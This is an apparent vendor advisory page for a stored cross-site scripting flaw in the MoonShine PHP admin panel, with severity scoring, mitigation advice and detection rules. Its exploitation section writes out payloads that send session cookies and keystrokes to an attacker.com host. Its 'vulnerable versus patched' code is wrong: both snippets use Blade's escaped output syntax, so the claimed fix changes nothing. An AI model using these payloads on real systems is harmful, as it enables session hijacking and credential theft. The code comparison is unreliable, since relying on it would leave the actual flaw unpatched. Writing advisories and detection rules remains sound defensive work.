☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-51488

CVE-2025-51488 Cross-Site Scripting in Moonshine
📅 PUBLISHED: 2025-08-19 00:00 UTC 🔄 UPDATED: 2026-09-23 20:39 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.56%
👁️
0.56% probability
14.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-51488 is a Stored Cross-Site Scripting (XSS) vulnerability in the MoonShine admin panel framework, affecting versions prior to 3.12.4. An authenticated attacker with administrative privileges can inject arbitrary JavaScript into the Name parameter when creating a new admin user. This payload is stored on the server and executed in the browsers of other administrators who view the affected page, leading to session hijacking, credential theft, or further compromise of the admin panel.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

MoonShine is a PHP package distributed via Composer (Packagist). The vulnerability exists in the core admin panel code, not in a third-party dependency. Organizations using MoonShine should verify their composer.json for the affected version range and update immediately. No malicious packages have been reported in the supply chain for this CVE.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – The attacker must have admin-level access to the MoonShine panel.
  • User Interaction (UI): Required (R) – The victim must view the malicious admin user page.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the original scope (e.g., stealing cookies from another admin session).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

CVSS Score: 4.8 (Medium)

Threat Level: Medium. Exploitation requires admin credentials, but the stored XSS can lead to privilege escalation or lateral movement within the admin panel.

Deep Dive & Mechanics

The vulnerability resides in the user creation functionality of MoonShine. When an admin creates a new user, the Name field is not properly sanitized or encoded before being stored in the database and later rendered in the admin interface (e.g., user list or profile page).

Attack Flow:

  1. An authenticated attacker with admin privileges navigates to the "Create Admin" page.
  2. The attacker enters a malicious payload in the Name field, such as:
    <img src=x onerror=alert('XSS')>
    
  3. The payload is stored in the database without sanitization.
  4. When another admin views the user list or the attacker's profile, the payload executes in their browser.
  5. The attacker can then steal session cookies, perform actions on behalf of the victim, or inject further malicious content.

Root Cause: Lack of output encoding when rendering the Name field in the admin panel views. The framework likely uses raw HTML rendering without applying htmlspecialchars() or equivalent escaping.

Vulnerable vs. Patched Code

Vulnerable Code (MoonShine < 3.12.4):

// In a view file (e.g., user-list.blade.php)
{{ $user->name }}

This Blade directive outputs the name without escaping, allowing HTML/JavaScript injection.

Patched Code (MoonShine >= 3.12.4):

{{ e($user->name) }}

Or using the {{ }} syntax with automatic escaping enabled (Laravel default). The patch ensures that all user-supplied data is HTML-escaped before rendering.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Admin credentials to the MoonShine panel.
  • Network access to the admin interface.

Exploit Steps:

  1. Log in as an admin.
  2. Navigate to the "Create Admin" page.
  3. In the Name field, inject a payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Submit the form.
  5. Wait for another admin to view the user list or the attacker's profile.
  6. The victim's browser sends their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<input onfocus="document.addEventListener('keydown',function(e){fetch('https://attacker.com/k?k='+e.key)})" autofocus>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual Name field values in admin creation logs.
  • Look for outbound connections to unknown domains from admin browsers.
  • Use the YARA and Sigma rules below to detect payloads in logs.

Hardening:

  • Apply the patch by upgrading to MoonShine 3.12.4.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Restrict admin access to trusted IPs and enforce MFA.
  • Regularly audit admin user creation logs.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains from admin browsers.
    • Suspicious Referer headers pointing to MoonShine admin pages.
  • File IOCs:
    • Log entries containing <script> or <img onerror= in the Name field.
  • System IOCs:
    • Unexpected admin users with names containing HTML/JavaScript.
    • Modified session cookies or unusual session activity.

Detection Engineering

YARA Rule

rule CVE_2025_51488_MoonShine_XSS {
    meta:
        description = "Detects stored XSS payloads in MoonShine admin Name field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51488"
    strings:
        $xss_payload_1 = /<script[^>]*>.*<\/script>/i
        $xss_payload_2 = /<img[^>]+onerror\s*=/i
        $xss_payload_3 = /<svg[^>]+onload\s*=/i
        $xss_payload_4 = /javascript\s*:/i
    condition:
        any of ($xss_payload_*)
}

Sigma Rule

title: MoonShine Stored XSS in Admin Name Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in MoonShine admin creation logs
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: moonshine
detection:
    selection:
        event: "admin_created"
        name|contains:
            - "<script"
            - "<img"
            - "<svg"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-51488 MoonShine Stored XSS - Outbound Cookie Exfiltration";
    flow:to_server,established;
    content:"/steal?cookie="; http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade MoonShine to version 3.12.4 or later.
  2. If upgrade is not possible, manually apply output escaping in all views that render user-supplied data:
    {{ htmlspecialchars($user->name, ENT_QUOTES, 'UTF-8') }}
    
  3. Review and sanitize existing admin user names for malicious content.

Long-Term Mitigations:

  • Implement a Web Application Firewall (WAF) with XSS detection rules.
  • Enforce strict Content Security Policy (CSP) headers:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    
  • Conduct regular security audits and penetration testing.
  • Train administrators on secure coding practices and the risks of stored XSS.

Valters IT – Securing your digital frontier.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-51488/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.